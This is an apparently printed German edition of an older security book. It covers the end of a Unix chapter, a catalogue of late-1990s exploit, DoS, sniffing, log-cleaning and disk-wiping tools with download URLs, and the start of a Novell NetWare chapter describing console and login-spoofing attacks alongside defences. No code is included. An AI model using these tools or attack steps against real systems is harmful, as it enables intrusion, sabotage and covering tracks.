URL: http://www.unitedcouncil.org/c/pine_exploit.sh
Autor: e-torres@uniandes.edu.co
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (44 von 55) [19.04.2000 21:15:10]
pingexploit.c
Zweck: Sendet riesige ping-Pakete von einem Unix-Rechner aus. (DoS-Tool.)
URL: http://pxpx.com/underground/dwm/windoze/pingexploit.c
Autor: Bill Fenner
pingflood.c
Zweck: Das beliebte DoS-Tool überschwemmt einen Host mit ping-Paketen. (Nur fünf Zeilen Code.)
URL: http://samarac.hfactorx.org/Exploits/pingflood.c
Autor: unbekannt
pmcrash.c
Zweck: Wirft einen Livingston-Portmaster-Router aus dem Netz. (Pufferüberlauf-Programm.)
URL: http://www.sec.de/sven/pmcrash.c
Autor: The Doc
pop3.c
Zweck: Gewaltattacke gegen POP3-Server.
URL: http://www.asmodeus.com/archive/Xnix/POP3.C
Autor: unbekannt
portscan.c
Zweck: Noch ein Port-Scanner. Identifiziert auf einem entfernten Host laufende Dienste. Klein, leicht,
schnell.
URL: http://www.asmodeus.com/archive/IP_toolz/PORTSCAN.C
Autor: pluvius@io.org
psrace.c
Zweck: Nutzt eine Race-Condition in Solaris aus und erzielt Root-Rechte.
URL: ftp://ftp.enslaver.com/pub/exploits/solaris/sun-psrace.c.asc
Autor: Scott Chasin
puke.c
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (45 von 55) [19.04.2000 21:15:10]
Zweck: Spoofing eines ICMP Destination/Port Unreachable, wodurch eine bestehende IP- Verbindung
unterbrochen wird (Denial-of-Service).
URL: http://www.mesopust.com/jogurt/puke.c
Autor: Cowzilla und Pixel Dreamer
qmail_exploit.c
Zweck: Killt ein Qmail-System durch Bombardieren.
URL: http://www2.fwi.com/~rook/exploits/qmail_exploit.c
Autor: Wietse Venema
rdist-ex.c
Zweck: Erzielt eine Root-Shell unter FreeBSD.
URL: http://www.society-of-shadows.com/security/rdist-ex.c
Autor: unbekannt
reflscan.c
Zweck: Scannen Sie mit diesem Utility hinter Firewalls; es öffnet nur halboffene Verbindungen und
verhindert dadurch eine Protokollierung, wenn SYN-Pakete nicht explizit durch einen Daemon geloggt
werden.
URL: http://lhq.com/~tont0/reflscan.c
Autor: Reflector
resolv+.exp
Zweck: Liest die Shadow-Paßwortdatei.
URL: http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/resolv+.exp
Autor: unbekannt
rexecscan.txt
Zweck: Umgekehrter Scan, bei dem ein Server eine rsh des Clients benutzend gescannt wird.
Interessantes Tool, das die normalen Authentifizierungsprozeduren in rsh und rshd umgeht. Gute
Dokumentation.
URL: http://www2.fwi.com/~rook/exploits/rexecscan.txt
Autor: jaeger
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (46 von 55) [19.04.2000 21:15:10]
rlogin_exploit.c
Zweck: Öffnet eine Root-Shell auf Solaris 2.5.x durch Puffer-Überlauf von gethostbyname.
URL: http://www.netcraft.com/security/lists/gethostbyname.txt
Autor: Jeremy Elson
rpc_chk.sh
Zweck: Scanner-Shellscript, das Listen vielversprechender Hosts durch Abfrage von Name- Servern
erzeugt.
URL: http://irdu.nus.sg/security/softwares/rpc_chk.sh
Autor: Yo
rsucker.pl
Zweck: Stiehlt Benutzernamen von r-Clients.
URL: http://www.unitedcouncil.org/c/rsucker.pl
Autor: Lionel Cons
rxvtExploit.txt
Zweck: Erzielt eine Root-Shell durch Ausnutzen eines falschen popen()-Aufrufs in RXVT.
URL: http://www.unitedcouncil.org/c/rxvtExploit.txt
Autor: Dave M. (cmu.edu)
screen.txt
Zweck: Screen auf BSDI hat eine Sicherheitslücke, die es Benutzern ermöglicht, Paßwortdateien zu
lesen.
URL: http://www.sabotage.org/rootshell/hacking/screen.txt
Autoren: Jürgen Weigert, Michael Schröder und Oliver Laumann.
sdtcm_convert.txt
Zweck: Tutorial zum Erlangen von Root-Rechten durch Ausnutzen von sdtcm_convert auf Solaris.
URL: http://www.asmodeus.com/archive/slowaris/SDTCM_CONVERT.TXT
Autor: unbekannt
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (47 von 55) [19.04.2000 21:15:10]
secure_shell.txt
Zweck: Normale Benutzer können sich mit privilegierten Ports verbinden und diese umleiten.
URL: http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/secure_shell.txt
Autor: unbekannt
sendmail-ex.sh
Zweck: Erlaubt Root-Zugriff auf Linux über sendmail 8.7-8.8.x.
URL: http://ryanspc.com/sendmail/sendmail-ex.sh
Autor: Leshka Zakharoff
seq_number.c
Zweck: Errät TCP-Sequenznummern.
URL: http://irdu.nus.sg/security/softwares/seq_number.c
Autor: Mike Neuman
sgi_html.txt
Zweck: Angreifer können Remote-Code auf SGI-Zielsystemen ausführen.
URL: http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/sgi_html.txt
Autor: Arthur Hagen
sgi_systour.txt
Zweck: Erlaubt Root-Zugriff durch Ausnutzen eines Sicherheitslochs in der Standardinstallation des
systour-Pakets auf IRIX 5.3 und 6.2.
URL: http://esperosun.chungnam.ac.kr/~jmkim/hacking/1997/07%26before/sgi_systour.txt
Autor: unbekannt
slammer
Zweck: Verwendet yp-Daemonen, um Befehle auf entfernten Hosts auszuführen.
URL: http://www.sabotage.org/rootshell/hacking/slammer.tar.gz
Autor: unbekannt
sol_mailx.txt
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (48 von 55) [19.04.2000 21:15:10]
Zweck: Exploit für ein Sicherheitsloch in mailx auf Solaris.
URL: http://www.asmodeus.com/archive/slowaris/SOL_MAILX.TXT
Autor: 8LGM (Eight Little Green Men)
sol2.5_nis.txt
Zweck: /usr/lib/nis/nispopulate schreibt Dateien mit Mode 777. Damit könnte ein Benutzer auf alle
Dateien schreiben.
URL: http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/sol2.5_nis.txt
Autor: runeb@td.org.uit.no
SolAdmtool.txt
Zweck: Exploit zur Verwendung von Admintool (nur Solaris), um unautorisiert .rhosts- Dateien zu
schreiben.
URL: http://www.sabotage.org/rootshell/hacking/SolAdmtool.txt
Autor: unbekannt
solaris_lp.sh
Zweck: Exploit, der lp verwendet, um Root-Rechte auf Solaris zu erzielen.
URL: http://samarac.hfactorx.org/Exploits/solaris_lp.sh
Autor: Chris Sheldon
solaris_ping.txt
Zweck: Killt ein Solaris-2.x-System.
URL: http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/solaris_ping.txt
Autor: bpowell
solaris_ps.txt
Zweck: Erlaubt Root-Zugriff durch Ausnutzen einer Sicherheitslücke in ps.
URL: http://www.sabotage.org/rootshell/hacking/solaris_ps.txt
Autor: J. Zbiciak
solaris_telnet.c
Zweck: Killt ein entferntes Solaris-System.
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (49 von 55) [19.04.2000 21:15:10]
URL: http://www.unitedcouncil.org/c/solaris_telnet.c
Autor: unbekannt
sol-license.txt
Zweck: Der Solaris License Manager hat einen Bug, der zu Root-Rechten führt. Der Text in dieser Datei
erklärt, wie das geht.
URL: http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/sol-license.txt
Autor: Grant Kaufmann
sperl.tgz
Zweck: Nutzt einen Puffer-Überlauf in sperl aus. (Das führt zu Root-Zugriff.)
URL: http://www2.fwi.com/~rook/exploits/sperl.tgz
Autor: unbekannt
splitvt.c
Zweck: Puffer-Überlauf in usr/bin/splitvt auf Linux führt zu Root-Berechtigung.
URL: ftp://ftp.enslaver.com/pub/exploits/linux/linux-splitvt.c.asc
Autor: unbekannt
startmidi.txt
Zweck: Startmidi auf IRIX ist suid-root installiert.
URL: http://www.sabotage.org/rootshell/hacking/startmidi.txt
Autor: unbekannt
sunos-ovf.tar.gz
Zweck: Testet SunOS-4.1.x-Binaries auf Puffer-Überläufe.
URL: http://users.dhp.com/~fyodor/sploits/sunos.xterm.resource_manager.overflow.html
Autor: Willy Tarreau
sushiPing.c
Zweck: Erlaubt Root-Zugriff auf SunOS 4.1.x
URL: http://www.unitedcouncil.org/c/sushiPing.c
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (50 von 55) [19.04.2000 21:15:10]
Autor: SMI von UCB
synk4.c
Zweck: SYN-Flooding-Programm mit per Zufallsgenerator erzeugten IP-Absenderadressen.
URL: http://www.rat.pp.se/hotel/panik/archive/synk4.c
Autor: Zakath, trurl_ und Ultima
SYNpacket.tgz
Zweck: Denial-of-Service-Tool.
URL: http://www2.fwi.com/~rook/exploits/SYNpacket.tgz
Autor: unbekannt
syslogFogger.c
Zweck: Gibt Angreifern Zugriff auf Log-Dateien.
URL: http://samarac.hfactorx.org/Exploits/syslogFogger.c
Autor: panzer@dhp.com
talkd.txt
Zweck: Ermglicht Root-Zugriff durch einen Puffer-Überlauf in talkd.
URL: http://www.asmodeus.com/archive/IP_toolz/TALKD.TXT
Autor: unbekannt
tcpprobe.c
Zweck: Port-Scanner; findet aktivierte Ports auf dem Zielsystem.
URL: http://www.zerawarez.com/main/files/csource/tcpprobe.c
Autor: unbekannt
telnetd_ex.tar.gz
Zweck: Umgebungsvariablen können über eine Telnet-Sitzung übermittelt werden. Die folgende Datei
enthält Exploit-Code für diese Attacke (SunOS und Linux).
URL: http://users.dhp.com/~fyodor/sploits/telnetd.LD_PRELOAD.enviropassing.html
Autor: Squidge von Infonexus
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (51 von 55) [19.04.2000 21:15:10]
tlnthide.c
Zweck: Verbirgt Telnet-Sitzungen, so daß der Angreifer schwerer aufzuspüren und zu verfolgen ist.
URL: http://esperosun.chungnam.ac.kr/~jmkim/hacking/1997/07%26before/tlnthide.c
Autor: Chaos
ttysurf.c
Zweck: Spioniert Login-Namen und Paßwörter von tty-Sitzungen aus.
URL: http://www.deter.com/unix/software/ttysurf.c
Autor: unbekannt
udpscan.c
Zweck: Scannt Zielsysteme nach offenen UDP-Ports ab.
URL: http://kropf.raex.com/warez/proggies/Unix/udpscan.c
Autor: shadows@whitefang.com
utclean.c
Zweck: Verwischt die Spuren eines Crackers durch Löschen seiner Anwesenheit aus den Log-Dateien.
URL: http://www.kki.net.pl/shmasta/clean/utclean.c
Autor: undrtaker
vixie.c
Zweck: Überschreibt einen Puffer in crontab auf Linux-Systemen (führt zu Root-Zugriff).
URL: http://www.space4less.com/usr/teknopia/security/vixie.c
Autor: Dave G.
web_sniff.c
Zweck: Fängt Benutzernamen und Paßwörter ab, die über die Basis-HTTP-Authentifizierung gesendet
werden (mit htpasswd-Paßwortschutz).
URL: http://www.unitedcouncil.org/c/web_sniff.c
Autor: BeastMaster V
wipehd.asm
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (52 von 55) [19.04.2000 21:15:10]
Zweck: Entfernt die ersten 10 Sektoren einer Festplatte.
URL: http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/wipehd.asm
Autor:unbekannt
wuftpd_umask.txt
Zweck: Die Voreinstellung von umask für wu-ftpd 2.4.2-beta-13 ist 002, wodurch Dateien für jeden
schreibbar sind.
URL: http://www-jcr.lmh.ox.ac.uk/rootshell/hacking/wuftpd_umask.txt
Autor: unbekannt
Xfree86 Exploit
Zweck: 3.1.2-Server werden suid root installiert. Dieses Dokument beschreibt, wie man das ausnutzen
kann.
URL: http://www.madness.org/hack/hacking/xfree86-ex.txt
Autor: Dave M. (CMU)
xkey.c
Zweck: Ausspionieren von X-Sitzungen.
URL: http://www.paranoia.com/~ice9/xkey.html
Autor: Dominic Giampaolo
xsnoop.c
Zweck: Ausspionieren von X-Sitzungen (ähnlich wie XKEY).
URL: http://www.society-of-shadows.com/security/xsnoop.c
Autor: Peter Shipley
ypsnarf.c
Zweck: Automatisiert die Ausnutzung von Sicherheitslücken in yp und NIS (yellow pages).
URL: http://www.plato-net.or.jp/usr/vladimir/ugtxt/unix/ypsnarf.c
Autor: (David A. Curry). Basierend auf Code von Casper Dik und Dan Farmer.
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (53 von 55) [19.04.2000 21:15:10]
18.20 Informationsquellen
Im folgenden sind einige Publikationen und Webseiten aufgeführt, die wertvolle Informationen zur
Unix-Sicherheit enthalten.
18.21 Bücher
A Guide to NetWare for Unix. Cathy Gunn. Prentice Hall, 1995. ISBN: 0133007162.
Audit Trail Administration, Unix Svr 4.2. Unix Systems Lab. Prentice Hall, 1993. ISBN: 0130668877.
Practical Unix and Internet Security. Simson Garfinkel und Gene Spafford. O'Reilly & Associates, 1996.
ISBN: 1565921488.
The Cuckoo's Egg. Cliff Stoll. Doubleday, 1989. ISBN: 0-385-24946-2.
Unix Installation Security and Integrity. David Ferbrache und Gavin Shearer. Prentice Hall, 1993. ISBN:
0130153893.
Unix Security. Miller Freeman. Miller Freeman, 1997. ISBN: 0879304715.
Unix Security: A Practical Tutorial. N. Derek Arnold. McGraw-Hill, 1993. ISBN: 0-07- 002560-6.
Unix System Security. David A. Curry. Addison-Wesley Publishing Company, Inc., 1992. ISBN:
0-201-56327-4.
Unix System Security. Rick Farrow. Addison-Wesley Publishing Company, Inc., 1990. ISBN:
0-201-57030-0.
Unix System Security. Patrick H. Wood und Stephen G. Kochan. Hayden Books, 1985. ISBN:
0-8104-6267-2.
Windows NT Server and Unix: Administration, Co-Existence, Integration and Migration. G. Robert
Williams und Ellen Beck Gardner. Addison-Wesley Publishing Company, 1998. ISBN: 0201185369.
18.22 Online-Publikationen
COAST Watch Newsletter. Veraltete, aber dennoch interessante Publikation, die sich auf das Thema
Internet-Sicherheit konzentriert. http://www.cs.purdue.edu/coast/coast-news.html
Journal of Internet Security. Zweimonatlich erscheinendes Elektronik-Magazin und Mailing-Liste. Gute
Quelle für Informationen von EDI-Sicherheit bis zu neuen Zertifizierungs-/ Audit-Diensten.
http://www.csci.ca/
SC Magazine. Monatlich erscheinende Zeitschrift, die sich mit Produkten und Techniken zur
Computersicherheit befaßt. http://www.infosecnews.com/
Seven Locks Software's SecurityDigest. Ausführlicher Ratgeber zu verschiedenen Sicherheitsproblemen
Unix - die große Herausforderung
file:///d|/cool stuff/old/hack/kap18.htm (54 von 55) [19.04.2000 21:15:10]
von Seven Locks. http://www.sevenlocks.com/SecurityDigest.htm
SunWorld Online. Internet- und Unix-Sicherheit von den Leuten bei Sun. http://
www.usec.sun.com/sunworldonline/
18.23 Zusammenfassung
Dieses Kapitel kratzt nur an der Oberfläche der Unix-Sicherheit. Wenn ich ein Buch zu diesem Thema
empfehlen sollte, wäre es Practical Unix and Internet Security von Simson Garfinkel und Gene Spafford.
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Inhaltsverzeichnis
Stichwortverzeichnis
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19
Novell
Ich kenne viele fähige Novell-Netzwerkadministratoren, die den Tag fürchten, an dem ihr Chef ihnen vorschlagen wird, ihr
LAN mit dem Internet zu verbinden. Denn obwohl Novell seit 1991 über TCP/IP-Unterstützung verfügt, haben viele
Novell-Netzwerker zu wenig praktische Erfahrung mit dem Internet. (Zumindest bei meinen Kunden wird Novell
hauptsächlich in Geschäftsumgebungen wie Anwaltskanzleien oder Arztpraxen eingesetzt.)
Wenn Sie für ein Novell-Netzwerk verantwortlich und vor kurzem gebeten worden sind, für einen Internet-Anschluß zu
sorgen, müssen Sie sich keine Sorgen machen. Sie können Microsofts Marketing-Maschine ohne Bedenken ignorieren: Novell
ist eine ausgezeichnete Plattform für die Einrichtung eines Web-Servers.
19.1 Interne Sicherheit
Die Zugriffskontrolle von NetWare ist ausgezeichnet und ermöglicht sogar zeitliche Beschränkungen. (Der Zugang eines
Benutzers kann auf bestimmte Stunden und Wochentage eingeschränkt werden.) Außerdem gibt es eine Paßwortalterung, und
Paßwörter, die zu kurz sind oder schon einmal verwendet wurden, können automatisch zurückgewiesen werden.
Auch die Kontrolle über Dateien und Verzeichnisse ist sehr gut. Zum Beispiel kann man Verzeichnissen die folgenden
Eigenschaften zuweisen:
Delete inhibit. Mit dieser Eigenschaft versehene Dateien oder Verzeichnisse können von den Systembenutzern nicht
gelöscht werden.
Hidden. So markierte Dateien oder Verzeichnisse sind nicht sichtbar. (D.h., wenn ein Benutzer in einem Verzeichnis
herumschnüffelt, kann er ein so markiertes Verzeichnis oder eine Datei nicht finden.) Objekte mit dieser Eigenschaft
können außerdem auch nicht gelöscht oder kopiert werden.
Purge. Dieses Attribut sorgt dafür, daß eine Datei vollständig gelöscht wird. So gekennzeichnete Dateien können nicht
wiederhergestellt werden, wenn der Supervisor sie (oder Dateien innerhalb eines so markierten Verzeichnisses) löscht.
Die Kontrolle über Dateien, die NetWare anbietet, ist sogar noch strukturierter. Zusätzlich zu den obigen Eigenschaften kann
ein Novell-NetWare-Systemadministrator noch folgende Attribute verwenden:
Read only. Dies hindert Benutzer daran, die Dateien zu verändern.
Execute only. Eine so markierte Datei kann nicht kopiert, gesichert oder anderweitig »mitgenommen« werden.
Copy inhibit. Hindert Benutzer daran, Dateien zu kopieren.
Und das war noch nicht alles. Bei NetWare können Sie sogar den physikalischen Ort einschränken, von dem aus ein Benutzer
sich anmelden darf. (Sie können also z.B. festlegen, daß Michael sich nur von seiner eigenen Workstation aus einloggen darf.
Von jedem anderen Computer wird ihm der Zugriff verweigert.) Um das zu erreichen, müßten Sie jedoch festlegen, daß alle
Benutzer auf dieselbe Art eingeschränkt sind.
Hinweis:
Novell
file:///d|/cool stuff/old/hack/kap19.htm (1 von 14) [19.04.2000 21:15:14]
NetWare verfügt auch über Vorkehrungen für eine Vertrauenshierarchie. D.h., Sie können für jeden
LAN-Abschnitt Verwalter bestimmen und jedem Verwalter eine Gruppe zuweisen. So können die
tatsächlichen Ebenen von Vertrauen und Verantwortung, die in einem Unternehmen existieren, auf das
Rechnernetz übertragen werden.
All diese Eigenschaften machen Novell zu einer ausgezeichneten Web-Server-Plattform. Denn sogar wenn ein externer
Angreifer einen Bereich des Systems bloßlegt, gibt ihm das noch lange keinen privilegierten Zugriff auf das gesamte
Dateisystem. Auch wenn er in das Netz eindringen konnte, muß er immer noch alle üblichen Sicherheitskontrollen passieren,
die der Supervisor eingerichtet hat. Remote-Sicherheit ist jedoch nicht Ihre größte Sorge.
NetWare ist von jeher anfälliger für Angriffe aus dem eigenen Netz. Lokale Benutzer mit physikalischem Zugang sind daher
Ihr größter Feind. Es gibt viele Methoden, Novell an der Konsole zu knacken. Hier ein paar klassische:
Fahren Sie den Rechner herunter, greifen Sie auf die Festplatte zu und ändern Sie die Bindery. Bei einem Reboot
untersucht das System die Bindery. Es wird feststellen, daß keine gültige existiert und deshalb eine neue
Default-Bindery erzeugen. Dadurch sind alle zuvor gesetzten Sicherheitskontrollen verloren.
Laden Sie eines der verschiedenen NLMs (NetWare-ladbare Module), die das Supervisor- Paßwort verändern,
deaktivieren oder anderweitig umgehen können (zumindest bei 3.x und älteren Versionen).
Attackieren Sie das Rconsole-Paßwort bei frühen Novell-Distributionen. Der Algorithmus ist schwach, und die
Paßwörter sind leicht zu knacken.
Im folgenden gehe ich kurz auf unterschiedliche Konsolen-Angriffe ein sowie ihre Ursachen und Abwehrmaßnahmen.
19.2 Default-Paßwörter
Fast jedes Netzwerk-Betriebssystem hat mindestens einen Default-Account, der kein Paßwort benötigt. Novell macht da keine
Ausnahme.
Bei einem frisch installierten NetWare ist der Supervisor-Account paßwortlos, bis ein Paßwort gesetzt wird. (Das System
erzwingt also kein Paßwort.)
Hinweis:
Seltsamerweise erzwingen viele Betriebssysteme bei der Installation kein Paßwort. Slackware Linux
ermöglicht es Ihnen z.B., sich nach vollendeter Installation ohne Paßwort als root einzuloggen. Es
bleibt Ihnen überlassen, ob Sie ein Paßwort setzen wollen oder nicht. Im Gegensatz dazu erzwingen
SunOS und Red Hat Linux beim ersten Booten das Setzen eines Paßworts. Dieses Vorgehen ist sehr
weise und sollte bei jeder Plattform eingeführt werden.
Noch schlimmer ist, daß bei der Installation ein guest-Account eingerichtet wird. Bei bestimmten Distributionen ist auch dies
ein paßwortfreier Account. Das ist natürlich ein einfacher Angriffspunkt für Eindringlinge. Wenn Sie keinen guest-Account
benötigen, sollten Sie ihn in SYSCON unbedingt löschen. Wenn doch, sollten Sie ihm unmittelbar nach der Installation ein
Paßwort zuweisen.
Hinweis:
Novell Netware 4.x hat zwei weitere Default-Accounts, die nach der Installation kein Paßwort haben:
ADMIN und USER_TEMPLATE.
19.2.1 Schwachstelle FLAG
Version: NetWare (generell)
Auswirkungen: FLAGs Dateiberechtigungen können umgangen werden.
Einstufung: kritisch
Abhilfe: Verwenden Sie FLAG nicht.
Novell
file:///d|/cool stuff/old/hack/kap19.htm (2 von 14) [19.04.2000 21:15:14]
Beigetragen von: Tont0 in Phrack
Beschreibung: Das mit NetWare gelieferte FLAG-Utility wird zum Setzen von Datei-Attributen verwendet (z.B. read, write,
execute, hidden). Diese Attribute können auf Dateien von einem DOS-Dateisystem angewendet werden. Leider kann ein
Angreifer den DOS-Befehl ATTRIB verwenden, um die mit FLAG gesetzten Eigenschaften zu überschreiben.
19.2.2 Schwachstelle Login-Script
Wenn der Supervisor unter Novell 2.x und 3.x kein Login-Script definiert, können Cracker ein Login-Script im
Mail-Verzeichnis des Supervisors plazieren. Es ist nicht geklärt, zu welchem Grad der Gefährdung dies führen könnte. Auf
jeden Fall kann so aber das Supervisor-Paßwort abgefangen werden. Außerdem stehen dem Autor eines Login-Scripts viele
Parameter zur Verfügung. Die Vorstellung, daß ein Supervisor kein Login-Script erzeugt, scheint zwar absurd, aber ich habe
schon gesehen, daß einige die Default-Einstellungen verwenden. Das sind meistens Anfänger. In späteren Versionen der
Software wurde dieses Problem behoben.
19.2.3 Sniffer und Novell
Sniffer werden verwendet, um sich heimlich Login-IDs und -Paßwörter anzueignen. Zum Glück sind Sniffer-Attacken gegen
moderne NetWare-Server nicht sehr effektiv. (Versionen nach 2.0a verwenden eine Verschlüsselung zum Schutz der während
des Anmeldeprozesses übermittelten Paßwörter. Solange sowohl auf der Client- als auch der Server-Seite Verschlüsselung
eingesetzt wird, ist Sniffing kein kritisches Problem.)
Hinweis:
Ich sollte die Aussage des obigen Abschnitts vielleicht etwas einschränken. Ein Angreifer kann
verschlüsselte Paßwörter abfangen und z.B. zu sich nach Hause oder in sein Büro mitnehmen. Dort
könnte er sie dann mit Hilfe eines Paßwort-Utilities knacken.
Bei Versuchen, in NetWare-Netzwerken Paßwörter zu stehlen, werden meistens Tastatur- Recorder verwendet. Diese Utilities
sind jedoch nur mit Einschränkugen verwendbar und müssen sich z.B. auf demselben Netzwerksegment oder -Interface wie
das Zielsystem befinden. Deshalb ist es ein leichtes, die einzelnen Workstations vor Tastatur-Recordern zu schützen.
Cracker plazieren Tastatur-Recorder selten auf Clients ohne Festplatte, da Disketten sehr wenig Speicherplatz haben und Sie
somit nicht lange nach fremden Dateien suchen müssen. Auf Festplatten mit verzweigten Verzeichnisstrukturen dauert die
Suche da schon länger. Wahrscheinlich ist das Utility eine verborgene Datei, die umbenannt worden ist. (Sie brauchen wohl
kaum nach Files mit Namen Gobbler oder Sniffer zu suchen. Cracker und Hakker schreiben vielleicht Programme mit
ausgefallenen, lustigen Namen, aber wenn sie diese Tools einsetzen, versehen sie sie mit unauffälligeren Namen.)
Sie können auf unterschiedliche Weise suchen, z.B. durch Prüfsumme/Größe. Dabei berechnen Sie die digitalen
Fingerabdrücke aller bekannten Tools, die die NetWare-Sicherheit verletzen. Dann scannen Sie in regelmäßigen Abständen
alle Platten-Volumes nach übereinstimmenden Signaturen ab. Wenn Sie eine finden, haben Sie einen Cracker aufgespürt.
Eine andere Methode (mehr Marke Eigenbau) ist die Verwendung von Utilities wie Grep oder Awk. Die meisten
Crack-Utilities enthalten Zeichenketten mit einem ganz bestimmten Text. (Cracker fügen dem Code oft einen Slogan,
Spitznamen oder Kommentar hinzu.) Durch Verwendung von Grep, Awk oder anderen Utilities mit effektiven
Suchmöglichkeiten für reguläre Ausdrücke können Sie solche Dateien identifizieren.
Hinweis:
Cracker plazieren Tastatur-Recorder oft in den in der Pfadangabe stehenden Verzeichnissen. Deshalb
sollten Sie Ihre Suche dort starten. (D.h., sehen Sie zuerst in der autoexec.bat nach und prüfen Sie
danach auch die plattenlosen Workstations.)
Sie müssen sich nur dann größere Sorgen um Sniffing-Attacken machen, wenn Ihr Netzwerk ältere NetWare-Versionen als
2.0a beherbergt. Bei diesen antiquierten Versionen ist das Paßwort-Verschlüsselungsschema deaktiviert. (Das ist laut dem
Novell NetWare Version 3.11 Installation Guide sogar erforderlich.)
Wie schon an früherer Stelle erwähnt, birgt dies einige Risiken. Paßwörter werden auf solchen Systemen in Klartext
Novell
file:///d|/cool stuff/old/hack/kap19.htm (3 von 14) [19.04.2000 21:15:15]
übertragen. Unter solchen Umständen würde ein Cracker sehr davon profitieren können, einen Paket-Sniffer einzusetzen, und
das ist in Cracker-Kreisen auch bekannt. Wenn Sie momentan in dieser Situation sind, sollten Sie diese Informationen an eine
andere Stelle verschieben und das Betriebssystem upgraden. (Zusätzlich könnten Sie den betroffenen Fileserver von
Netzwerksegmenten abkoppeln, die vor Sniffing-Attacken sicher sind.)
19.3 Remote-Angriffe auf NetWare
19.3.1 Das PERL-Sicherheitsloch
Version: NetWare 4.1 und IntranetWare
Auswirkungen: PERL.NLM kann verwendet werden, um beliebigen Code auszuführen.
Einstufung: kritisch
Weitere Informationen: http://www.dhp.com/~fyodor/sploits/netware.perl. nlm.html
Abhilfe: Upgrade, oder PERL.NLM deinstallieren
Beigetragen von: Axel Dunkel
Beschreibung: Der Novell Web Server lädt PERL.NLM beim Starten in den Arbeitsspeicher und macht es über Port 8002
verfügbar. Externe Benutzer können dieses Modul verwenden, um uneingeschränkte Berechtigungen für jede Datei auf dem
Zielsystem zu erhalten. Dies ist ein vernichtendes Sicherheitsloch, das jedem externen Benutzer ermöglicht, alle Dateien des
Zielsystems zu löschen.
19.3.2 Login-Protokoll-Attacke
G. Miller, ein Programmierer und Netzwerkanalytiker, hat eine erfolgreiche Attacke gegen das Login-Verfahren bei Novell
3.12 entwickelt. Das Verfahren verwendet eine Unterbrechung des Anmeldeprozesses in Echtzeit.
Wegweiser:
Die vollständige Beschreibung des Verfahrens von G. Miller finden Sie unter
http://geek-girl.com/bugtraq/1996_3/0530.html.
Es handelt sich um einen Spoofing-Angriff, der hängt von vielen verschiedenen Faktoren ab. (Es handelt sich dabei weder um
eine einfache noch um eine bekannte Methode.) Sie stellt folgende Bedingungen:
Der Angreifer muß in der Lage sein, die Login-Versuche der legitimen Benutzer zu sehen, abzuhören oder irgendwie
vorauszusehen.
Der Ziel-Server muß unsignierte Pakete erlauben.
Das Verfahren funktioniert folgendermaßen: Der Angreifer sendet eine Anforderung nach einem Login-Schlüssel aus. Der
Server antwortet umgehend mit diesem Schlüssel. Dann wartet der Angreifer darauf, daß ein legitimer Benutzer eine ähnliche
Anforderung macht. Wenn dies geschieht, und bevor der Server dem legitimen Benutzer antworten kann, sendet der Angreifer
seinen Login-Schlüssel an den legitimen Benutzer. Der Rechner des legitimen Benutzers hält den falschen Schlüssel für den
richtigen und ignoriert deshalb alle weiteren Schlüssel. (Dadurch basiert die Authentifizierung des legitimen Benutzers nun
auf einem ungültigen Schlüssel.) Nun muß der Angreifer nur noch verfolgen, was weiter zwischen dem legitimen Benutzer
und dem Server passiert. Der Rechner des legitimen Benutzers berechnet einen Wert, basierend auf einer von dem Server
gesendeten Benutzer-ID. Auf diesen Wert hat es der Angreifer abgesehen, da er sich mit ihm als der legitime Benutzer
anmelden kann (und dem legitimen Benutzer wird dann natürlich der Zugang verweigert). Dies ist ein ganz
außergewöhnliches Sicherheitsloch. Eine Nachahmung dieses Verfahrens aus dem Nichts heraus ist extrem schwierig, aber
nicht unmöglich. Ich denke, daß der Angreifer zumindest mit dem Ziel-Server und den Gewohnheiten derer, die ihn
routinemäßig benutzen, vertraut sein müßte. Dennoch ist es ein Sicherheitsloch, und es ermöglicht einer externen Person,
unbefugt Zugang zu erhalten.
Es gibt nur wenige solcher Exploits für NetWare.
Novell
file:///d|/cool stuff/old/hack/kap19.htm (4 von 14) [19.04.2000 21:15:15]
19.4 Spoofing
Beim Spoofing verwendet man einen Rechner, um sich mit ihm als ein anderer auszugeben. Der Sinn der Sache ist, daß man
beim Knacken eines entfernten Hosts keine Benutzer-ID oder ein Paßwort hinterläßt. Dazu fälscht man die Absenderadresse
von einem oder mehreren Hosts bei der Authentifizierung der Systeme untereinander.
Bei Spoofing denkt man normalerweise an IP-Spoofing. In der NetWare-Umgebung stellt jedoch weniger das IP-Spoofing,
sondern vielmehr das Spoofing von Hardware-Adressen ein Sicherheitsrisiko dar.
Für das Spoofing in einer NetWare-Umgebung müssen Cracker die Hardware-Adresse in der Datei NET.CFG ändern.
Hinweis:
Die Datei NET.CFG enthält Boot- und Netzwerk-Parameter. Diese Parameter können manuell
verändert werden, wenn die automatisch erzeugten Konfigurationen nicht optimal sind. Die Datei
NET.CFG ist ein einfaches, leicht verständliches Hilfsmittel zur Manipulation der Schnittstelle. Gültige
Optionen sind z.B. die Anzahl der Puffer, welche Protokolle an die Karte gebunden werden sollen,
Port-Nummer, MDA-Werte und natürlich die Node-Adresse.
Die Node-Adresse ist manchmal hardwaremäßig auf der Ethernet-Karte kodiert. Wenn Sie eine zur Hand haben, sehen Sie sie
sich einmal genauer an. Die Default-Adresse ist wahrscheinlich auf der Vorderseite der Karte angegeben. Dieser Wert steht
manchmal auf einem Aufkleber und ist manchmal in die Platine eingebrannt.
Auf jeden Fall ist es bei den meisten modernen Netzwerkkarten möglich, die Default- Adresse zu ändern. Bei einigen
geschieht dies über Jumper-Einstellungen und bei anderen per Software. Die meisten Karten beinhalten heute zudem eine
